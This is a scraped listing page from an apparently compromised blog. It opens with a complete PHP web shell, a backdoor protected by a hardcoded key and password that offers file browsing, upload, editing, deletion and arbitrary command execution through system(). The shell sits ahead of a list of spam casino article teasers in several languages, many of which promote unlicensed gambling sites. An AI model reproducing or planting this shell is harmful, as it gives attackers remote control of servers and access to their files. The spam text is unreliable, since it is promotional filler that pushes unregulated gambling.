if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 27 – collectives.berlin

Your digital paradise.

Category: public

  • Online Casino Echtgeld i 2026: Alt om velkomstbonuser og sikre innskudd

    I 2026 ser online casinoer virkelig ut til å være i en ny æra av innovasjon og sikkerhet. Spillere har nå flere muligheter enn noen gang før når det gjelder valg av spill, innskuddsmetoder og bonuser. Med et økende fokus på spillerbeskyttelse og rettferdig spill, er det viktig å vite hva man skal se etter…

    Click or not…

  • Casino Utan Svensk Licens 2026 mobilapp: Spela smidigt var som helst

    Det växande intresset för onlinecasinon utan svensk licens har gjort att fler spelare söker alternativ som erbjuder fler spelmöjligheter och förmånliga bonusar. År 2026 erbjuder dessa casinon en rad spännande funktioner och mobilappar som gör det enkelt att spela var som helst. I denna artikel tar vi en närmare titt på de bästa casinona casino…

    Click or not…

  • En nybörjarguide till de högsta rankade live casino utan licens 2026: så kommer du

    Att börja spela på live casino kan vara både spännande och överväldigande för nybörjare. Utan licens, kan spelare upptäcka en mängd olika alternativ som erbjuder unika bonusar och casino utan licens spelupplevelser. Denna guide syftar till att ge en grundläggande förståelse för hur man navigerar i denna värld 2026, med fokus på de högsta rankade…

    Click or not…

  • Prontobet Casino: Hva du bør vite om lisenser og regulerte spill i 2026

    I den stadig voksende verdenen av online kasinoer kan det være utfordrende å navigere gjennom tilbudene. I 2026 er det flere viktige faktorer å vurdere når du velger et kasino, inkludert lisenser, sikkerhet og spillutvalg. Prontobet Casino skiller seg ut som et regulert alternativ som tilbyr et bredt spekter av spillmuligheter og attraktive bonuser til…

    Click or not…

  • Majestico Casino België en de voordelen van veilige betalingen: wat je moet weten

    In de wereld van online gokken is het kiezen van een betrouwbaar casino essentieel voor een veilige en plezierige ervaring. Majestico Casino België biedt een uitgebreide selectie van spelopties en staat bekend om zijn veilige betalingsmethoden. Veel spelers kiezen voor Majestico vanwege de aantrekkelijke bonussen en de gebruiksvriendelijke interface, wat het een uitstekende keuze maakt…

    Click or not…

  • Як організувати надійний редакційний процес — 047

    Як організувати надійний редакційний процес — 047 Редактор оцінює не лише окремі речення, а й логіку переходів між розділами, аби стаття сприймалася як цілісна історія. Добре підготовлений матеріал відповідає на основні запитання одразу, а додаткові подробиці відкриває поступово й послідовно. Читабельність залежить від конкретних формулювань, помірної довжини абзаців і доречних пояснень для нового читача. Під…

    Click or not…

  • Як організувати надійний редакційний процес — 047

    Як організувати надійний редакційний процес — 047 Редактор оцінює не лише окремі речення, а й логіку переходів між розділами, аби стаття сприймалася як цілісна історія. Добре підготовлений матеріал відповідає на основні запитання одразу, а додаткові подробиці відкриває поступово й послідовно. Читабельність залежить від конкретних формулювань, помірної довжини абзаців і доречних пояснень для нового читача. Під…

    Click or not…

  • Rola bonusów w Goldbet Casino: jak maksymalizować swoje zyski?

    W dzisiejszych czasach, online kasyna zyskują na popularności, a jednym z kluczowych elementów przyciągających graczy są różnorodne bonusy. Goldbet Casino oferuje bogaty wachlarz promocji, które mogą znacząco zwiększyć Twoje szanse na wygraną, a także nawiązanie do platformy http://matewear.pl/ może być interesującym dodatkiem w kontekście strategii obstawiania. W tym artykule przyjrzymy się, jak bonusy funkcjonują w…

    Click or not…

  • Najciekawsze gry kasynowe w 2026 roku: co przyciąga graczy?

    W 2026 roku branża kasynowa przeżywa prawdziwy rozkwit, przyciągając graczy z całego świata dzięki nowoczesnym technologiom oraz bogatej ofercie gier. W artykule przyjrzymy się najciekawszym grom kasynowym, które są popularne w tym roku, a także zbadamy, co sprawia, że wielu graczy decyduje się na korzystanie z usług kasyn online, takich jak https://bonus-nodep-kp4.top/ oferujące niezapomniane doświadczenia.…

    Click or not…

  • Tikitaka Casino Norge: Hvordan sikre raske uttak og trygge innskudd

    Når du spiller på kasinoer på nett, er det avgjørende å forstå hvordan man kan sikre både raske uttak og trygge innskudd. Tikitaka Casino tilbyr en moderne plattform for online spill med et variert utvalg av spill, inkludert spilleautomater og Cazeus casino på nett live kasinospill. I denne artikkelen vil vi utforske hva spillere bør…

    Click or not…